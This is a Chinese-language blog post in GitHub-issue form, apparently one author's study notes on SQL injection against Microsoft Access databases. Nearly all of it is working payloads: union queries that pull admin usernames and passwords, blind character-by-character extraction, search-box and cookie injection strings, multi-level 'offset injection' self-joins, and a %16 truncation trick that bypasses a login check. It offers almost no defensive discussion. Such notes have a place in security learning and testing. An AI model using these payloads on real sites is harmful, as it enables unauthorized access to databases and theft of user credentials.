PyxYuYu/MyBlog

注入(二)

PyxYuYu opened this issue · 0 comments

There is a kind of beauty in imperfection.

0x01 SQL注入

  • Access
    • Access 中没有专门的注释符,因此 /*--# 都没法使用,但是可以使用 NULL 或者 %00 代替
    • Access 不支持多句执行,支持联合查询,union 后的 from 关键字必须使用一个已存在的表名
    • 手工注入
      • 猜解表名
         and exists (select * from 表名)
      
      • 猜解列名
         and exists (select 列名 from 表名)
      
      • 猜解列数
         order by 列数
      
      • 注:某些情况下,返回的是实际查询出的列数,而不是整个表的列数,order by 本来就是根据指定的结果如何排序,针对的就是查询结果而不是整个表,所以特殊情况 order by 猜解的列数和后端逻辑有关
      • 比如
         $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"
      
      • 实际猜解的情况是 URL 后面 +order by+列数
         SELECT first_name, last_name FROM users WHERE id = '1' order by 列数
      
      • 所以在实战中,列数 只能猜解出为 2,但是在实际表中列数可能会更多,这就导致了后面猜解用户名、密码出现错误
      • 所以,这里只要猜解出显示位,就可以利用 concat 函数来获取数据
         and 1=2 union select concat(id,0x232323,user,0x232323,pwd), 2 from admin
      
      • 联合查询
         and 1=2 union select 1,2,3,4,5,6 from admin
      
         and 1=2 union select 1,user,3,pwd,5,6 from admin
      
      • 利用上面获得的列数,来获取显示位,利用显示位和列名,来获取数据
      • ASCII 码逐字猜解(很多 Python 写的小工具的原理)
        • 猜解列的长度
           and (select top 1 len(列名) from 表名)>N
        
           and (select top 1 len(列名) from 表名)=N
        
        • 如果要猜解列中第二条数据,应该使用
            select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
        
        • 猜解数据
           and (select top 1 asc(mid(列名,1,1))) from 表名)=asc码
        
        • 利用 asc() 函数和 mid() 函数
            //得到列名第N位字符的ASC码
            asc(mid(列名,N,1))
        
        • asc 码区间判断
            and (select count(*) from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
        
        • 中文处理
            //当ASCII转换后为负数,用abs()函数取绝对值
            and (select top 1 abs(asc(mid(列名,1,1)))) from 表名)=asc码
        
    • 文本框搜索型注入
      • 判断语句
         关键字' and 1=1 and '%'='%
      
         关键字' and 1=2 and '%'='%
      
      • and 1=1 替换成上面的注入语句即可进一步猜解数据
    • Cookie 注入
      • POST/GET 进行了过滤,可以考虑是否存在 Cookie 注入
      • Cookie 注入的原因是因为未对 request.cookie("参数") 方式提交的数据进行过滤,导致注入漏洞的产生
      • 判断语句
         javascript:alert(document.cookie="id="+escape("44 and 1=1"));
      
         javascript:alert(document.cookie="id="+escape("44 and 1=2"));
      
      • and 1=1 替换成上面的注入语句即可进一步猜解数据
    • 偏移注入
      • 偏移注入特指 Access 偏移注入,主要是由于数据库结构的问题,其他数据库没法利用
      • 一般猜解出表名,无法猜解出字段(列名),可以尝试考虑偏移注入
      • 利用条件
        • 猜解出管理表名(一般 admin
        • 猜解出任意字段(一个或者多个,多个会增加几率)
      • 影响偏移注入成功率的因素
        • 管理表中字段数越少越好
          • 因为最后猜解出的结果是随机的,所以越少就越容易猜解出用户名和密码
          • 一般至少3个字段 id name password
        • 当前注入点的脚本内查询的表的字段越多越好
          • 因为偏移注入采用的是表自联方式,即 管理表字段数*2 < order by出的字段数 ,所以越多的话,则可以实现二级偏移,或更多级偏移
        • 管理表中已知的字段越多越好
          • id 字段一般都会存在
      • 注入流程
        • order by 判断字段数
           http://www.xxx.com/xx.asp?id=1 order by 13
        
        • 联合查询判断管理表字段数
           http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin
        
        • * 来确定 admin 表字段数
        • 此处 admin 表字段数为 4
        • 所以一级偏移,利用 admin 表自联,inner join ,以及 admin 表中 id 字段
            from (admin as a inner join admin as b on a.id=b.id)
        
        • 一级偏移,两个表,即字段翻倍为 8
            13 - 4*2 = 5
        
        • 联合查询猜解数据
           http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)
        
        • * 在这里代表了10个字段,增加了用户名、密码显示的概率
        • 运气好的话,可能用户名、密码就被猜解出了,如果页面没显示,可以查看源代码,说不定显示在源代码中
        • 如果都不存在的话,可以在 1,2,3,4,5 后面增加 a.id b.id,因为 * 中是存在 a.id b.id 的,所以会自动去掉重复存在,保存集合中元素的唯一性,但是因为它们的加入,* 中的字段顺序会被打乱重组两次,大大增加了用户名、密码显示的概率
            http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,2,3,4,5,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
        
        • 如果仍然没有显示,那么可采取二级偏移,或更多级偏移,二级偏移即3个表自联
         from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
        
            http://www.xxx.com/xx.asp?id=1 and 1=2 union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
        
    • ODBC 驱动链接的 Access 查询截断
      • 利用 %16 进行截断
         http://www.xxx.com/dzb/admin/chklogin.asp?password=1&Submit=1&admin=1' and exists (select * from admin1) and '1'='1
      
      • 报错,说明存在注入,order by 得出4个字段
         //绕过验证,直接进入系统
         http://www.xxx.com/dzb/admin/chklogin.asp?password=1&Submit=1&admin=1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects%16
      
      • 查看代码,构造成的查询语句
         select * from admin where admin='1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects%16(%16会被URL转码) and password=1
      
      • %16 会将后面的 password 内容截断,导致查询等同于
         select * from admin where admin='1' UNION ALL SELECT 123,NULL,NULL,NULL FROM MSysAccessObjects
      
      • 所以使用联合查询就等于查询出了一条数据:id=123 其他字段都为空
    • 类似偏移注入 1
      • 利用子查询忽略字段名,只需要知道表名,对付 Access 比较有用,也可以从各种 CTFFlag 表中读取数据
      • 利用条件
        • 表名已知,字段名未知,数据库本身支持子查询
      • 思路
        • 在子查询里面写针对目标表的联合查询:
          • 第一个查询以常量为每个字段占位,同时指定别名
          • 紧随其后的联合查询查询目标表所有字段(*
          • 最后对这个子查询的结果进行联合查询或盲注
      • 例如:
         //存在注入点
         select title,time,author,content from article where id={inject here}
      
      • 字段为 4,已知表名 adminadmin 字段未知
         //先猜测admin表字段总数,在子查询中加入order by,999999999为不存在的id
         select title,time,author,content from article where id = 999999999 union select 1,2,3,4 from (select * from admin order by 1)
         //这里是得到可以显示的位置,通过order by得到admin表的列数
      
      • 假设获得的字段总数为 5,构造子查询的联合查询并指定别名
         select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin
      
      • 最后对这个子查询结果集进行查询
         select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin)
         //这一句就可以读出所有的密码
      
      • 当数据库为 Access 时,可以不指定别名,Access 为未命名的表达式自动添加别名,第一个为 Expr1000,第二个为 Expr1001,于是以上语句变为
         select title,time,author,content from article where id=999999999 union select 1 as x,2 as xx,3 as xxx,Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx from(select 1,2,3,4,5 from admin where 1=2 union select * from admin)
      
      • 注意:如果原始语句中存在表达式,则这种查询方式可能不正确
      • 需要加条件的时候,再套一层子查询
         select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select * from (select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) where field_1 not in (1))
      
      • 盲注的时候可以这样(用于回显不同时)
         select title,time,author,content from article where id=999999999 or (select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0
      
      • 也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时)
         select title,time,author,content from article where id=999999999 or iif((select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0,1,(select 2 from multi_rows_table))=1
      
      • 需要 multi_rows_table 中记录数大于 1
      • 最后,部分数据库需要对子查询指定别名( Access 不用指定)
    • 类似偏移注入 2
      • 利用条件
        • 表名已知,字段名未知
      • 注入流程
        • order by 判断字段数,字段数 13
        • and exists(select * from admin) 判断管理表名
        • 联合查询,判断管理表字段数
           union select 1,2,3,4,5,6,7,8,9,10,* from admin
        
        • admin 表字段数为 3
        • 网页中显示位为 3、4、5,为连续数字,表示可以连续的查询结果,构造查询 admin 表前三列的第一行
           union select 1,2,admin.*,6,7,8,9,10,11,12,13 from admin
        
        • 猜解出的数据就会显示,如果其中有 1,说明该表有 id 字段,修改查语句可以获取其他行
           union select 1,2,admin.*,6,7,8,9,10,11,12,13 from admin where id=2
        
      • 除了 AccessMySQL 也可以用这种方法注入